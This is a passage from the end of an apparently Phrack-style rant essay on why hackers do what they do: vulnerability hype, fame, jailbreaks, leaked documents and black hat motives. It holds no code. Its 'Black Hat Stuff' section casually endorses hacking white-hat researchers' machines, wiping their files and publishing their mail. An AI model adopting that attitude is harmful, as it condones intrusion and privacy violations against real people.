3373the logo of your bug or do you want to be hired for your technical
3374expertise? There are not too many skilled hackers anyway, so do you really
3375have to be part of all that hype just to single yourself out?
3376
3377Don't be part of that circus! Yes, other people do it, but you don't have
3378to. Think about what type of society you create by joining that goddamn
3379show. A society where skill counts less than appearance, where logos are
3380better than r00t shells. It is your fucking responsibility to not support
3381these clowns. If you really want to do something for the common good, then
3382start at this point.
3383
3384--[ 4 - Fame
3385
3386Many people strive for fame - be it globally or in their peer-group.
3387Hackers are no exception here - and tbh, a little bit of acknowledgement
3388actually does feel good. But while you try to get your attention, think
3389about whom you want to get it from and what you want to get it for. Do you
3390really want to get fame for a technical achievement (such as a cool
3391exploit), from people who don't even understand the basics behind it? Or
3392worse, do you want fame for something that is actually pretty lame but
3393people fail to realize that? If that's what you're after, then please do
3394straight ahead with your logo-branded vulnerability whitehat responsible
3395disclosure press attention shit. If you want your fame only from your
3396peer-group then stay there, that's fine. And if you really want to impress
3397the broad masses, then please do something that is actual beneficial for
3398the broad masses - exploiting individual bugs isn't. It appears to us that
3399some people also try to compensate for problems in their life by
3400accumulating fame. We don't want to dive into the emo^Wpsychology thing
3401here, but next time you feel the inner desire to impress random people with
3402random things, you might want to double-check your reasons.
3403
3404--[ 5 - The Underground Spirit
3405
3406This is probably what makes most of us tick. The thirst for knowledge. The
3407infinitely many ways of combining and (ab)using technology. The thrill of
3408finding a bug, the kick when you see uid 0. This thrill of hacking can
3409really become addictive (this is an observation Halvar Flake described very
3410nicely in [1]). It's neither good nor bad - neither particularly useful in
3411itself nor is it a waste of time. Hacking is one of the many ways humans
3412express themselves, their mental power. Others prefer maths, music, writing
3413or other arts. There is not much to say about the spirit itself in the
3414context of this ranty paper.
3415
3416----[ 5.1 - Hacker By Conviction
3417
3418Not everybody sees hacking as a self purpose. There are a number of hackers
3419out there who follow certain ideals - free access to information is a
3420particularly popular one. And occasionally, one or more of these hackers
3421make a real break-through. There are way too many achievements to be named
3422here. However, we'd like to highlight the incentives behind a couple of
3423randomly chosen popular hacks. And we'd like to do this because not
3424everything is what it seems to be. Even if we rant about logo-branded
3425vulnerabilities, attention-whores, the press, p0 and whatnot.
3426
3427
3428 The drug .--.
3429 that makes ,-.------+-.| ,-.
3430 ,--=======* )"("")===)===* )
3431 o `-"---==-+-"| `-"
3432 0day us tick '--'
3433
3434
3435------[ 5.1.1 - Jailbreaks
3436
3437The right to use a device that you bought from your own money in whatever
3438fucking way you like to (yes, that includes shoving it up your ass) as long
3439as you don't harm anybody is something that should be universal.
3440Unfortunately, self-claimed saviors like Apple tend to have a different
3441view on that topic. If they were to decide, they'd use their arrogant and
3442flawed quick-and-dirty patches to make the world sooo much better. That is:
3443ban porn, ban drugs, ban fucking curse words, give your boss access to your
3444private photo stream and whatever else comes to their mind. Fortunately,
3445there are people who are not willing to accept this kind of behavior. Under
3446this point of view, jailbreaks are an actual improvement to your freedom.
3447Yes, this actually is hacking for the common good. And yes, in the
3448jailbreaking scene there are people who do it (partially) for fame or
3449money. But the good cause is still clearly visible.
3450
3451------[ 5.1.2 - Freeing Documents
3452
3453We don't want to start the Wikileaks vs. politics flamewar here. But we
3454still feel that the positive effect of freeing government documents is
3455remarkable. People actually take personal risks while trying to provide
3456leaked documents. Of course, these people are not necessarily motivated
3457*only* by wanting to contribute to a better society. But this is not the
3458relevant point: they do something that mankind benefits from. And this
3459benefit is clearly visible.
3460
3461--[ 6 - Black Hat Stuff
3462
3463There is not too much to say here. Just as in the vulnerability circus, the
3464black hat scene offers different incentives for different people. Fame and
3465money do play a role - hacking for a common good not so much. Another
3466motivation for staying in the underground can be the desire to isolate
3467oneself from the clowns in the vulnerability circus. This can lead to
3468rather extreme forms, such as pwning and rming white-hack hackers' boxes,
3469exposing them in underground zines, making their mail spools public.. You
3470get the idea :) You should find your own judgement when it comes to this
3471kind of things.
3472
3473--[ 7 - Conclusion
3474
3475You might have observed the little stack we built in this article. It all
3476originates from the underground spirit. For the one it goes down to the
3477black hat stuff (and way deeper, but we'll save this for another article),
3478for the others it goes up, from the underground spirit to getting fame,
3479from getting fame to obtaining financial stability and from financial
3480stability to really believing one does things for the common good, thereby
3481finally deceiving yourself and becoming one of the clowns in the
3482vulnerability circus. No matter what you do: think about your incentives
3483and about your goals. Think about why you do what you do and who might
3484benefit from that. And then be honest to yourself and check that what
3485you're doing is what you actually wanted.
3486
3487So is hunting 1337 bugs actually a bad thing? Not at all! Disclosure? No!
3488Doing it for money? Neither. Do whatever you want to do, but think about
3489your incentives! And maybe the next time you justify your behavior by
3490claiming to contribute to the common good, by believing you need to do it
3491for the money or by thinking you need the fame, sit back and think about
3492that for a second - try to identify the real reasons for what you're doing.
3493
3494And this is it. We don't want to encourage any particular kind of moral
3495behavior. You should be old enough to find that for yourself. We just want
3496you to be honest to yourself, to act consciously. Wherever in the
3497over-simplified stack we have just shown you think you are.
3498
3499Yours sincerely, anonymous coward(s)
3500794384322cdb45fe41369731e3b8ff74b52beef5
3501
3502--[ References
3503
3504[1] http://www.isaca.org/chapters2/Norway/NordicConference/Documents/14.pdf
3505[2] Abraham Maslow: A Theory of Human Motivation
3506[3] https://cansecwest.com/slides/2015/
3507 Project%20Zero%20-%20making%200day%20hard%20-%20Ben%20Hawkes.pdf
3508[4] http://www.idc.com/prodserv/smartphone-os-market-share.jsp
3509
3510
3511|=[ EOF ]=---------------------------------------------------------------=|